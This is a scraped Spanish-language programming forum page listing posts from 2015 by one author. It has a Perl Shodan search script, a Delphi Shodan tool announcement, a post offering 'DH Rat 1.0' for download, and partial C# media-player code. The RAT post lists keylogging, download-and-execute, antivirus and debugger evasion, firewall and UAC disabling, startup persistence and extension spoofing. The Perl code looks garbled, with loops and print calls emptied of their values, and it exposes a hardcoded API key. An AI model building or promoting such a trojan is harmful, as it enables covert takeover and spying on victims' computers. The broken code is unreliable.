61
Programación / Scripting / [Perl] Shodan Tool 0.6
en: 10 Abril 2015, 16:01 pm
Un simple script para hacer busquedas en Shodan con las siguientes opciones :
Buscar resultados por IP Buscar resultados por cantidad Busqueda normal Listar los query guardados Busca los query guardados que ya fueron buscados Lista los tags mas populares Lista todos los servicios que shodan encuentra DNS Lookup Reverse DNS Lookup Te devuelve tu IP Te da informacion sobre tu API Es necesario que tengan una API Key suya para poder usar la API de Shodan.
Un video con ejemplos de uso :
VIDEO El codigo :
#!usr/bin/perl
#Shodan Tool 0.6
#(C) Doddy Hackman 2015
#Based on : https://developer.shodan.io/api
#ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
#ppm install http://www.bribes.org/perl/ppm/JSON.ppd
use LWP:: UserAgent ;
use JSON;
use Getopt:: Long ;
use Color:: Output ;
Color:: Output :: Init ;
use IO:: Socket ;
my $nave = LWP:: UserAgent -> new ( ssl_opts => { verify_hostname => 1 } ) ;
$nave -> agent (
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
) ;
$nave -> timeout ( 5 ) ;
my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa" ;
GetOptions(
"ip=s" => \$ip ,
"count=s" => \$count ,
"search=s" => \$search ,
"query" => \$query ,
"query_search=s" => \$query_search ,
"query_tags" => \$query_tags ,
"services" => \$services ,
"resolve=s" => \$resolve ,
"reverse=s" => \$reverse ,
"myip" => \$myip ,
"api_info" => \$api_info
) ;
head( ) ;
if ( $ip ne "" ) {
if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
}
else {
my $ip = inet_ntoa( $get ) ;
by_ip( $ip ) ;
}
}
elsif ( $count ne "" ) {
by_count( $count ) ;
}
elsif ( $search ne "" ) {
by_search( $search ) ;
}
elsif ( $query ne "" ) {
by_query( ) ;
}
elsif ( $query_search ) {
by_query_search( $query_search ) ;
}
elsif ( $query_tags ) {
by_query_tags( $query_tags ) ;
}
elsif ( $services ne "" ) {
list_services( ) ;
}
elsif ( $resolve ne "" ) {
resolve( $resolve ) ;
}
elsif ( $reverse ne "" ) {
reverse_now( $reverse ) ;
}
elsif ( $myip ne "" ) {
my_ip( ) ;
}
elsif ( $api_info ne "" ) {
api_info( ) ;
}
else {
sintax( ) ;
}
copyright( ) ;
# Functions
sub by_query_tags {
printear_titulo( "\n [+] Listening the most popular tags ...\n \n " ) ;
my $code =
toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $total = $resultado -> { 'total' } ;
if ( $total ne "" ) {
printear( "[+] Total : " ) ;
}
else {
printear( "[-] WTF !" ) ;
}
my $i = 0 ;
my @encontrados = @ { $resultado -> { 'matches' } } ;
foreach my $encontrado ( @encontrados ) {
my $value = $encontrado -> { "value" } ;
my $count = $encontrado -> { "count" } ;
$i ++;
print "-------------------------------------\n \n " ; if ( $value ne "" ) {
printear( "[+] Value : " ) ;
}
if ( $count ne "" ) {
printear( "[+] Count : " ) ;
}
print "\n -------------------------------------\n " ;
if ( $i % 5 == 0 ) {
printear( "\n [+] Press enter to show more\n " ) ;
<STDIN> ;
}
}
}
sub by_query_search {
my $query = $_ [ 0 ] ;
printear_titulo(
"\n [+] Searching in the directory of saved search queries ...\n \n " ) ;
my $code =
toma( "https://api.shodan.io/shodan/query/search?key="
. $api_key
. "&query="
. $query ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $total = $resultado -> { 'total' } ;
if ( $total ne "" ) {
printear( "[+] Total : " ) ;
}
else {
printear( "[-] WTF !" ) ;
}
my $i = 0 ;
my @encontrados = @ { $resultado -> { 'matches' } } ;
foreach my $encontrado ( @encontrados ) {
$i ++;
print "-------------------------------------\n \n " ; my $votes = $encontrado -> { "votes" } ;
my $description = $encontrado -> { "description" } ;
my $title = $encontrados -> { "title" } ;
my $timestamp = $encontrados -> { "timestamp" } ;
my $query = $encontrados -> { "query" } ;
if ( $votes ne "" ) {
printear( "[+] Votes : " ) ;
}
if ( $description ne "" ) {
printear( "[+] Description : " ) ;
print $description . "\n \n " ; }
if ( $title ne "" ) {
printear( "[+] Title : " ) ;
}
if ( $timestamp ne "" ) {
printear( "[+] Timestamp : " ) ;
}
if ( $query ne "" ) {
printear( "[+] Query : " ) ;
}
printear( "[+] Tags : " ) ;
my @tags = @ { $encontrado -> { 'tags' } } ;
foreach my $tag ( @tags ) {
}
print "\n -------------------------------------\n " ;
if ( $i % 5 == 0 ) {
printear( "\n [+] Press enter to show more\n " ) ;
<STDIN> ;
}
}
}
sub by_query {
printear_titulo( "\n [+] Listening the saved search queries ...\n \n " ) ;
my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $total = $resultado -> { 'total' } ;
if ( $total ne "" ) {
printear( "[+] Total : " ) ;
}
else {
printear( "[-] WTF !" ) ;
}
my $i = 0 ;
my @encontrados = @ { $resultado -> { 'matches' } } ;
foreach my $encontrado ( @encontrados ) {
$i ++;
print "-------------------------------------\n \n " ; my $votes = $encontrado -> { "votes" } ;
my $description = $encontrado -> { "description" } ;
my $title = $encontrados -> { "title" } ;
my $timestamp = $encontrados -> { "timestamp" } ;
my $query = $encontrados -> { "query" } ;
if ( $votes ne "" ) {
printear( "[+] Votes : " ) ;
}
if ( $description ne "" ) {
printear( "[+] Description : " ) ;
print $description . "\n \n " ; }
if ( $title ne "" ) {
printear( "[+] Title : " ) ;
}
if ( $timestamp ne "" ) {
printear( "[+] Timestamp : " ) ;
}
if ( $query ne "" ) {
printear( "[+] Query : " ) ;
}
printear( "[+] Tags : " ) ;
my @tags = @ { $encontrado -> { 'tags' } } ;
foreach my $tag ( @tags ) {
}
print "\n -------------------------------------\n " ;
if ( $i % 5 == 0 ) {
printear( "\n [+] Press enter to show more\n " ) ;
<STDIN> ;
}
}
}
sub list_services {
printear_titulo( "\n [+] Listening all services that Shodan crawls ...\n \n " ) ;
my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key ) ;
if ( $code ne "" ) {
my $i = 0 ;
while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
$i ++;
my $port = $1 ;
my $name = $2 ;
printear( "[+] Port : " ) ;
printear( "[+] Name : " ) ;
if ( $i % 20 == 0 ) {
printear( "\n [+] Press enter to show more\n " ) ;
<STDIN> ;
}
}
}
else {
print "[-] WTF !" . "\n " ; }
}
sub resolve {
my $hostnames = $_ [ 0 ] ;
printear_titulo( "\n [+] Working in DNS Lookup ...\n \n " ) ;
my $code =
toma( "https://api.shodan.io/dns/resolve?hostnames="
. $hostnames . "&key="
. $api_key ) ;
if ( $code ne "" ) {
while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
my $host = $1 ;
my $ip = $2 ;
printear( "[+] Hostname : " ) ;
printear( "[+] IP : " ) ;
}
}
else {
printear( "[-] WTF !" . "\n " ) ;
}
}
sub reverse_now {
$ips = $_ [ 0 ] ;
printear_titulo( "\n [+] Working in Reverse DNS Lookup ...\n \n " ) ;
my $code = toma(
"https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key ) ;
if ( $code ne "" ) {
while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
my $ip = $1 ;
my $host = $2 ;
printear( "[+] IP : " ) ;
printear( "[+] Hostname : " ) ;
}
}
else {
printear( "[-] WTF !" . "\n " ) ;
}
}
sub my_ip {
printear_titulo( "\n [+] Getting your IP ...\n \n " ) ;
my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key ) ;
if ( $code =~ /"(.*)"/ ) {
my $ip = $1 ;
printear( "[+] IP : " ) ;
}
else {
printear( "[-] WTF !" . "\n " ) ;
}
}
sub api_info {
printear_titulo( "\n [+] Getting your API Info ...\n \n " ) ;
my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $unlock_left = $resultado -> { "unlocked_left" } ;
my $telnet = $resultado -> { "telnet" } ;
my $plan = $resultado -> { "plan" } ;
my $http = $resultado -> { "https" } ;
my $unlocked = $resultado -> { "unlocked" } ;
if ( $unlock_left ne "" ) {
printear( "[+] Unlocked left : " ) ;
print $unlock_left . "\n " ; }
if ( $telnet ne "" ) {
printear( "[+] Telnet : " ) ;
}
if ( $plan ne "" ) {
printear( "[+] Plan : " ) ;
}
if ( $http ne "" ) {
printear( "[+] HTTPS : " ) ;
}
if ( $unlocked ne "" ) {
printear( "[+] Unlocked : " ) ;
}
}
sub by_count {
my $query = $_ [ 0 ] ;
my $fecets = "" ;
printear_titulo( "\n [+] Searching in Shodan without Results ...\n \n " ) ;
my $code =
toma( "https://api.shodan.io/shodan/host/count?key="
. $api_key
. "&query="
. $query
. "&facets="
. $facets ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $total = $resultado -> { "total" } ;
if ( $total ne "" ) {
printear( "[+] Total : " ) ;
}
else {
printear( "[-] WTF !" . "\n " ) ;
}
}
sub by_ip {
my $target = $_ [ 0 ] ;
printear( "\n [+] Target : " ) ;
printear_titulo( "\n [+] Getting Host Information ...\n \n " ) ;
my $code = toma(
"https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $ip = $resultado -> { 'ip' } ;
my $country_name = $resultado -> { 'country_name' } ;
my $country_code = $resultado -> { 'country_code' } ;
my $region_name = $resultado -> { 'region_name' } ;
my $postal_code = $resultado -> { 'postal_code' } ;
if ( $ip ne "" ) {
printear( "[+] IP : " ) ;
}
if ( $country_name ne "" ) {
printear( "[+] Country Name : " ) ;
print $country_name . "\n " ; }
if ( $country_code ne "" ) {
printear( "[+] Country Code : " ) ;
print $country_code . "\n " ; }
if ( $region_name ne "" ) {
printear( "[+] Area Code : " ) ;
print $region_name . "\n " ; }
if ( $postal_code ne "" ) {
printear( "[+] Postal Code : " ) ;
print $postal_code . "\n " ; }
printear( "[+] Hostnames : " ) ;
my @hostnames = @ { $resultado -> { 'hostnames' } } ;
foreach my $host ( @hostnames ) {
}
printear_titulo( "\n [+] Getting Data ...\n \n " ) ;
my $i = 0 ;
my @encontrados = @ { $resultado -> { 'data' } } ;
foreach my $encontrado ( @encontrados ) {
$i ++;
print "-------------------------------------\n \n " ; my $ip = $encontrado -> { "ip_str" } ;
my $country = $encontrado -> { "location" } { "country_name" } ;
my $product = $encontrado -> { "product" } ;
my $version = $encontrado -> { "version" } ;
my $data = $encontrado -> { "data" } ;
my $cpe = $encontrado -> { "cpe" } ;
my $time = $encontrado -> { "timestamp" } ;
my $last_updated = $encontrado -> { "last_update" } ;
my $port = $encontrado -> { "port" } ;
my $os = $encontrado -> { "os" } ;
my $isp = $encontrado -> { "isp" } ;
my $ans = $encontrado -> { "ans" } ;
my $banner = $encontrado -> { "banner" } ;
if ( $ip ne "" ) {
printear( "[+] IP : " ) ;
}
if ( $port ne "" ) {
printear( "[+] Port : " ) ;
}
printear( "[+] Hostnames : " ) ;
my @hostnames2 = @ { $encontrado -> { 'hostnames' } } ;
foreach my $host2 ( @hostnames2 ) {
}
if ( $country ne "" ) {
printear( "[+] Country : " ) ;
}
if ( $product ne "" ) {
printear( "[+] Product : " ) ;
}
if ( $version ne "" ) {
printear( "[+] Version : " ) ;
}
if ( $data ne "" ) {
printear( "[+] Data : " ) ;
print "\n \n " . $data . "\n " ; }
if ( $time ne "" ) {
printear( "[+] Time : " ) ;
}
if ( $last_updated ne "" ) {
printear( "[+] Last Updated : " ) ;
print $last_updated . "\n " ; }
if ( $cpe ne "" ) {
printear( "[+] CPE : " ) ;
}
if ( $os ne "" ) {
printear( "[+] OS : " ) ;
}
if ( $isp ne "" ) {
printear( "[+] ISP : " ) ;
}
if ( $asn ne "" ) {
printear( "[+] ASN : " ) ;
}
if ( $banner ne "" ) {
printear( "[+] Banner : " ) ;
}
print "\n -------------------------------------\n " ;
if ( $i % 5 == 0 ) {
printear( "\n [+] Press enter to show more\n " ) ;
<STDIN> ;
}
}
}
sub by_search {
my $target = $_ [ 0 ] ;
printear( "[+] Target : " ) ;
printear_titulo( "\n [+] Searching in Shodan ...\n \n " ) ;
my $code =
toma( "https://api.shodan.io/shodan/host/search?key="
. $api_key
. "&query="
. $target
. "&facets=" ) ;
$resultado = JSON-> new -> decode ( $code ) ;
my $total = $resultado -> { 'total' } ;
if ( $total ne "" ) {
printear( "[+] Total : " ) ;
}
else {
printear( "[-] WTF !" ) ;
}
my $ip = $resultado -> { 'ip' } ;
my $country_name = $resultado -> { 'country_name' } ;
my $country_code = $resultado -> { 'country_code' } ;
my $region_name = $resultado -> { 'region_name' } ;
my $postal_code = $resultado -> { 'postal_code' } ;
if ( $ip ne "" ) {
printear( "[+] IP : " ) ;
}
if ( $country_name ne "" ) {
printear( "[+] Country Name : " ) ;
print $country_name . "\n " ; }
if ( $country_code ne "" ) {
printear( "[+] Country Code : " ) ;
print $country_code . "\n " ; }
if ( $region_name ne "" ) {
printear( "[+] Area Code : " ) ;
print $region_name . "\n " ; }
if ( $postal_code ne "" ) {
printear( "[+] Postal Code : " ) ;
print $postal_code . "\n " ; }
if ( $resultado -> { 'hostnames' } [ 0 ] ne "" ) {
printear( "[+] Hostnames : " ) ;
my @hostnames = @ { $resultado -> { 'hostnames' } } ;
foreach my $host ( @hostnames ) {
}
}
printear_titulo( "\n [+] Getting Data ...\n \n " ) ;
my $i = 0 ;
my @encontrados = @ { $resultado -> { 'matches' } } ;
foreach my $encontrado ( @encontrados ) {
$i ++;
print "-------------------------------------\n \n " ; my $ip = $encontrado -> { "ip_str" } ;
my $country = $encontrado -> { "location" } { "country_name" } ;
my $product = $encontrado -> { "product" } ;
my $version = $encontrado -> { "version" } ;
my $data = $encontrado -> { "data" } ;
my $cpe = $encontrado -> { "cpe" } ;
my $time = $encontrado -> { "timestamp" } ;
my $last_updated = $encontrado -> { "last_update" } ;
my $port = $encontrado -> { "port" } ;
my $os = $encontrado -> { "os" } ;
my $isp = $encontrado -> { "isp" } ;
my $ans = $encontrado -> { "ans" } ;
my $banner = $encontrado -> { "banner" } ;
if ( $ip ne "" ) {
printear( "[+] IP : " ) ;
}
if ( $port ne "" ) {
printear( "[+] Port : " ) ;
}
printear( "[+] Hostnames : " ) ;
my @hostnames2 = @ { $encontrado -> { 'hostnames' } } ;
foreach my $host2 ( @hostnames2 ) {
}
if ( $country ne "" ) {
printear( "[+] Country : " ) ;
}
if ( $product ne "" ) {
printear( "[+] Product : " ) ;
}
if ( $version ne "" ) {
printear( "[+] Version : " ) ;
}
if ( $data ne "" ) {
printear( "[+] Data : " ) ;
print "\n \n " . $data . "\n " ; }
if ( $time ne "" ) {
printear( "[+] Time : " ) ;
}
if ( $last_updated ne "" ) {
printear( "[+] Last Updated : " ) ;
print $last_updated . "\n " ; }
if ( $cpe ne "" ) {
printear( "[+] CPE : " ) ;
}
if ( $os ne "" ) {
printear( "[+] OS : " ) ;
}
if ( $isp ne "" ) {
printear( "[+] ISP : " ) ;
}
if ( $asn ne "" ) {
printear( "[+] ASN : " ) ;
}
if ( $banner ne "" ) {
printear( "[+] Banner : " ) ;
}
print "\n -------------------------------------\n " ;
if ( $i % 5 == 0 ) {
printear( "\n [+] Press enter to show more\n " ) ;
<STDIN> ;
}
}
}
sub printear {
cprint( "\x 036" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_logo {
cprint( "\x 037" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_titulo {
cprint( "\x 0310" . $_ [ 0 ] . "\x 030" ) ;
}
sub toma {
return $nave -> get ( $_ [ 0 ] ) -> content ; }
sub sintax {
printear( "\n [+] Sintax : " ) ;
print "perl $0 <option> <value>\n " ; printear( "\n [+] Options : \n \n " ) ;
print "-ip <ip> : Host Information\n " ; print "-count <query> : Search Shodan without Results\n " ; print "-search <query> : Search Shodan\n " ; print "-query : List the saved search queries\n " ; "-query_search <query> : Search the directory of saved search queries\n " ;
print "-query_tags : List the most popular tags\n " ; print "-services : List all services that Shodan crawls\n " ; print "-resolve <host> : DNS Lookup\n " ; print "-reverse <ip> : Reverse DNS Lookup\n " ; print "-myip : My IP Address\n " ; print "-api_info : API Plan Information\n " ; printear( "\n [+] Example : " ) ;
print "perl shodan.pl -search petardas\n " ; copyright( ) ;
}
sub head {
printear_logo( "\n -- == Shodan Tool 0.6 == --\n \n " ) ;
}
sub copyright {
printear_logo( "\n \n -- == (C) Doddy Hackman 2015 == --\n \n " ) ;
}
# The End ?
Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
62
Programación / Programación General / [Delphi] Shodan Tool 0.6
en: 3 Abril 2015, 16:50 pm
Un programa en Delphi para hacer busquedas en Shodan con las siguientes opciones :
Buscar resultados por IP Buscar resultados por cantidad Busqueda normal Listar los query guardados Busca los query guardados que ya fueron buscados Lista los tags mas populares Lista todos los servicios que shodan encuentra DNS Lookup Reverse DNS Lookup Te devuelve tu IP Te da informacion sobre tu API Es necesario que tengan una API Key suya para poder usar este programa.
Una imagen :
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Github .
63
Programación / Programación General / [Delphi] DH Rat 1.0
en: 24 Marzo 2015, 16:57 pm
Hoy les traigo la nueva version de mi DH Rat en Delphi , esta version contiene las siguientes funciones :
Listar archivos en un directorio con la posibilidad de leerlos o borrarlos Listar y cerrar procesos Ejecutar comandos Activar y desactivar Firewall Activar y desactivar Regedit Abrir y cerrar lectora de CD Ocultar y mostrar barra de tareas Ocultar y mostrar iconos del escritorio Mandar mensajes al infectado Enviar pulsaciones de teclado Abrir Word y hacer que escriba solo Volver loco al mouse Volver loca la hora Se puede apagar,reiniciar y cerrar sesion de la computadora Se pueden cargar paginas Se puede cargar paint Se puede cambiar el texto de la hora y escribir lo que quieran Se puede apagar el monitor Se puede hacer hablar (en ingles) a la computadora Bomba de Beeps Se puede listar los drives disponibles Se puede listar los servicios de Windows Se puede listar las ventanas activas Se puede bajar archivos y ejecutarlos Incorpora un keylogger que captura las teclas y ventanas activas Se puede desintalar el RAT Antis : [++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
En el builder se tiene las siguientes opciones :
Se puede configurar si se quiere ocultar los archivos Se puede configurar si se quiere cargar el Rat cada vez que inicie Windows Se puede configurar donde se quiere instalar el Rat File Pumper , Extension Spoofer y Icon Changer Una imagen :
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Github .
Eso seria todo.
65
Programación / .NET (C#, VB.NET, ASP) / [C#] DH Player 1.0
en: 13 Marzo 2015, 15:16 pm
Este vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :
Reproduce musica y videos a pantalla completa Soporta Drag and Drop para reproducir canciones y videos Pueden subir volumen y poner la posicion que quieran Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente Pueden poner mute * Formatos de musica soportados : mp3,m4a,wma
* Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg
Una imagen :
El codigo
// DH Player 1.0
// (C) Doddy Hackman 2015
// Credits :
// Based on : MP3 Happy Hard Core Player V 1.0 By Steel Karpov
// Thanks to Steel Karpov
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Windows ;
using System.Windows.Controls ;
using System.Windows.Data ;
using System.Windows.Documents ;
using System.Windows.Input ;
using System.Windows.Media ;
using System.Windows.Media.Imaging ;
using System.Windows.Navigation ;
using System.Windows.Shapes ;
using Microsoft.Win32 ;
using System.IO ;
using System.Windows.Threading ;
using System.Text.RegularExpressions ;
namespace DH_Player
{
/// <summary>
/// Lógica de interacción para MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
DispatcherTimer control_del_tiempo;
bool escribiendo;
bool enalgo;
bool repeat;
bool automatic;
bool pantalla_completa = false ;
public MainWindow( )
{
InitializeComponent( ) ;
control_del_tiempo
= new DispatcherTimer
( ) ; control_del_tiempo. Interval = TimeSpan. FromSeconds ( 1 ) ;
control_del_tiempo
. Tick += new EventHandler
( timer_Tick
) ; escribiendo = false ;
}
private void timer_Tick( object sender, EventArgs e)
{
if ( ! escribiendo)
{
linea. Value = player. Position . TotalSeconds ;
}
}
private void retroceder_MouseUp( object sender, MouseButtonEventArgs e)
{
if ( lista. SelectedIndex != - 1 )
{
cancion_anterior( ) ;
}
}
private void play_MouseUp( object sender, MouseButtonEventArgs e)
{
if ( lista. SelectedIndex != - 1 )
{
enalgo = true ;
player. Play ( ) ;
}
}
private void pause_MouseUp( object sender, MouseButtonEventArgs e)
{
if ( lista. SelectedIndex != - 1 )
{
player. Pause ( ) ;
enalgo = false ;
}
}
private void avanzar_MouseUp( object sender, MouseButtonEventArgs e)
{
if ( lista. SelectedIndex != - 1 )
{
cancion_siguiente( ) ;
}
}
private void nombres_MouseDoubleClick( object sender, MouseButtonEventArgs e)
{
if ( lista. SelectedIndex != - 1 )
{
enalgo = false ;
start_music( ) ;
}
}
private void start_music( )
{
if ( enalgo == true )
{
player. Play ( ) ;
}
else
{
ListBoxItem ruta1 = ( ListBoxItem) lista. SelectedItem ;
string ruta = ruta1. Tag . ToString ( ) ;
player. Position = TimeSpan. Zero ;
player. LoadedBehavior = MediaState. Manual ;
player. UnloadedBehavior = MediaState. Stop ;
player
. Source = new Uri
( ruta
) ; linea. Value = 0 ;
player. Play ( ) ;
}
}
private void cancion_siguiente( )
{
enalgo = false ;
try
{
if ( lista. SelectedIndex + 1 < lista. Items . Count )
{
lista. SelectedItem = lista. Items . GetItemAt ( lista. SelectedIndex + 1 ) ;
start_music( ) ;
}
}
catch
{
//
}
}
private void cancion_anterior( )
{
enalgo = false ;
try
{
if ( lista. SelectedIndex - 1 < lista. Items . Count )
{
lista. SelectedItem = lista. Items . GetItemAt ( lista. SelectedIndex - 1 ) ;
start_music( ) ;
}
}
catch
{
//
}
}
private void volumen_ValueChanged( object sender, RoutedPropertyChangedEventArgs< double > e)
{
try
{
player. Volume = volumen. Value ;
}
catch
{
//
}
}
private void player_MouseDown( object sender, MouseButtonEventArgs e)
{
int width_screen = 1400 ;
int height_screen = 800 ;
int width_original = 483 ;
int height_original = 372 ;
if ( e. ClickCount == 2 && pantalla_completa == false )
{
player. MinHeight = height_screen;
player. MinWidth = width_screen;
volumen. Visibility = Visibility. Hidden ;
linea. Visibility = Visibility. Hidden ;
play. Visibility = Visibility. Hidden ;
pause. Visibility = Visibility. Hidden ;
avanzar. Visibility = Visibility. Hidden ;
retroceder. Visibility = Visibility. Hidden ;
contenedor1. Visibility = Visibility. Hidden ;
contenedor2. Visibility = Visibility. Hidden ;
lista. Visibility = Visibility. Hidden ;
menu1. Visibility = Visibility. Hidden ;
progreso. Visibility = Visibility. Hidden ;
this . WindowStyle = WindowStyle. None ;
this . WindowState = WindowState. Maximized ;
pantalla_completa = true ;
}
else
{
if ( e. ClickCount == 2 && pantalla_completa == true )
{
player. MinHeight = height_original;
player. MinWidth = width_original;
volumen. Visibility = Visibility. Visible ;
linea. Visibility = Visibility. Visible ;
play. Visibility = Visibility. Visible ;
pause. Visibility = Visibility. Visible ;
avanzar. Visibility = Visibility. Visible ;
retroceder. Visibility = Visibility. Visible ;
contenedor1. Visibility = Visibility. Visible ;
contenedor2. Visibility = Visibility. Visible ;
lista. Visibility = Visibility. Visible ;
menu1. Visibility = Visibility. Visible ;
progreso. Visibility = Visibility. Visible ;
this . WindowStyle = WindowStyle. SingleBorderWindow ;
this . WindowState = WindowState. Normal ;
pantalla_completa = false ;
}
}
}
private void player_MediaOpened( object sender, RoutedEventArgs e)
{
enalgo = true ;
if ( player. NaturalDuration . HasTimeSpan )
{
TimeSpan ts = player. NaturalDuration . TimeSpan ;
linea. Maximum = ts. TotalSeconds ;
linea. SmallChange = 1 ;
}
control_del_tiempo. Start ( ) ;
}
private void player_MediaEnded( object sender, RoutedEventArgs e)
{
linea. Value = 0 ;
enalgo = false ;
if ( repeat == true )
{
start_music( ) ;
}
if ( automatic == true )
{
cancion_siguiente( ) ;
}
}
private void linea_DragStarted( object sender, System . Windows . Controls . Primitives . DragStartedEventArgs e)
{
escribiendo = true ;
}
private void linea_DragCompleted( object sender, System . Windows . Controls . Primitives . DragCompletedEventArgs e)
{
escribiendo = false ;
player. Position =
TimeSpan. FromSeconds ( linea. Value ) ;
}
private void linea_MouseLeftButtonUp( object sender, MouseButtonEventArgs e)
{
player. Position = TimeSpan. FromSeconds ( linea. Value ) ;
}
private void linea_ValueChanged( object sender, RoutedPropertyChangedEventArgs< double > e)
{
try
{
string tiempo = TimeSpan. FromSeconds ( linea. Value ) . ToString ( ) ;
int cantidad = ( int ) player. NaturalDuration . TimeSpan . TotalSeconds ;
TimeSpan tiempo_final = TimeSpan. FromSeconds ( cantidad) ;
Match regex = Regex. Match ( tiempo, @"(.*)\.(.*)" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
progreso. Content = regex. Groups [ 1 ] . Value + " / " + tiempo_final;
}
}
catch
{
//
}
}
private void nombres_DragEnter( object sender, DragEventArgs e)
{
if ( e. Data . GetDataPresent ( DataFormats. FileDrop ) )
{
e. Effects = DragDropEffects. Copy ;
}
else
{
e. Effects = DragDropEffects. None ;
}
}
private void nombres_Drop( object sender, DragEventArgs e)
{
List
< string > archivos
= new List
< string > ( ( string [ ] ) e
. Data . GetData ( DataFormats
. FileDrop ) ) ; foreach ( string archivo in archivos)
{
string nombre = System.IO . Path . GetFileNameWithoutExtension ( archivo) ;
string extension = System.IO . Path . GetExtension ( archivo) ;
if ( extension == ".mp3" || extension == ".avi" || extension== ".m4a" || extension== ".wma" || extension== ".mp4" || extension== ".flv" || extension== ".mkv" || extension== ".wmv" || extension== ".mpg" )
{
ListBoxItem item1
= new ListBoxItem
( ) ; item1. Content = nombre;
item1. Tag = archivo;
lista. Items . Add ( item1) ;
}
}
}
private void MenuItem_Click( object sender, RoutedEventArgs e)
{
OpenFileDialog openFileDialog1
= new OpenFileDialog
( ) ; openFileDialog1. Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a" ;
openFileDialog1. InitialDirectory = Environment. GetFolderPath ( Environment. SpecialFolder . MyMusic ) ;
openFileDialog1. Multiselect = true ;
openFileDialog1. Title = "Select Song" ;
Nullable< bool > result = openFileDialog1. ShowDialog ( ) ;
if ( result == true )
{
string [ ] archivos = openFileDialog1. FileNames ;
foreach ( string archivo in archivos)
{
string nombre = System.IO . Path . GetFileNameWithoutExtension ( archivo) ;
ListBoxItem item1
= new ListBoxItem
( ) ; item1. Content = nombre;
item1. Tag = archivo;
lista. Items . Add ( item1) ;
}
}
}
private void MenuItem_Click_1( object sender, RoutedEventArgs e)
{
OpenFileDialog openFileDialog1
= new OpenFileDialog
( ) ; openFileDialog1. Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a" ;
openFileDialog1. InitialDirectory = Environment. GetFolderPath ( Environment. SpecialFolder . MyMusic ) ;
openFileDialog1. Multiselect = true ;
openFileDialog1. Title = "Select Song" ;
Nullable< bool > result = openFileDialog1. ShowDialog ( ) ;
if ( result == true )
{
string directorio = System.IO . Path . GetDirectoryName ( openFileDialog1. FileName ) ;
string [ ] archivos = Directory. GetFiles ( directorio) ;
foreach ( string archivo in archivos)
{
string extension = System.IO . Path . GetExtension ( archivo) ;
if ( extension == ".mp3" || extension == ".m4a" || extension== ".wma" )
{
string nombre = System.IO . Path . GetFileNameWithoutExtension ( archivo) ;
ListBoxItem item1
= new ListBoxItem
( ) ; item1. Content = nombre;
item1. Tag = archivo;
lista. Items . Add ( item1) ;
}
}
}
}
private void MenuItem_Click_2( object sender, RoutedEventArgs e)
{
OpenFileDialog openFileDialog1
= new OpenFileDialog
( ) ; openFileDialog1. Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg" ;
openFileDialog1. InitialDirectory = Environment. GetFolderPath ( Environment. SpecialFolder . MyMusic ) ;
openFileDialog1. Multiselect = true ;
openFileDialog1. Title = "Select Video" ;
Nullable< bool > result = openFileDialog1. ShowDialog ( ) ;
if ( result == true )
{
string [ ] archivos = openFileDialog1. FileNames ;
foreach ( string archivo in archivos)
{
string nombre = System.IO . Path . GetFileNameWithoutExtension ( archivo) ;
ListBoxItem item1
= new ListBoxItem
( ) ; item1. Content = nombre;
item1. Tag = archivo;
lista. Items . Add ( item1) ;
}
}
}
private void MenuItem_Click_3( object sender, RoutedEventArgs e)
{
OpenFileDialog openFileDialog1
= new OpenFileDialog
( ) ; openFileDialog1. Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg" ;
openFileDialog1. InitialDirectory = Environment. GetFolderPath ( Environment. SpecialFolder . MyMusic ) ;
openFileDialog1. Multiselect = true ;
openFileDialog1. Title = "Select Videos" ;
Nullable< bool > result = openFileDialog1. ShowDialog ( ) ;
if ( result == true )
{
string directorio = System.IO . Path . GetDirectoryName ( openFileDialog1. FileName ) ;
string [ ] archivos = Directory. GetFiles ( directorio) ;
foreach ( string archivo in archivos)
{
string extension = System.IO . Path . GetExtension ( archivo) ;
if ( extension == ".avi" || extension== ".mp4" || extension == ".flv" || extension== ".mkv" || extension == ".wmv" || extension== ".mpg" )
{
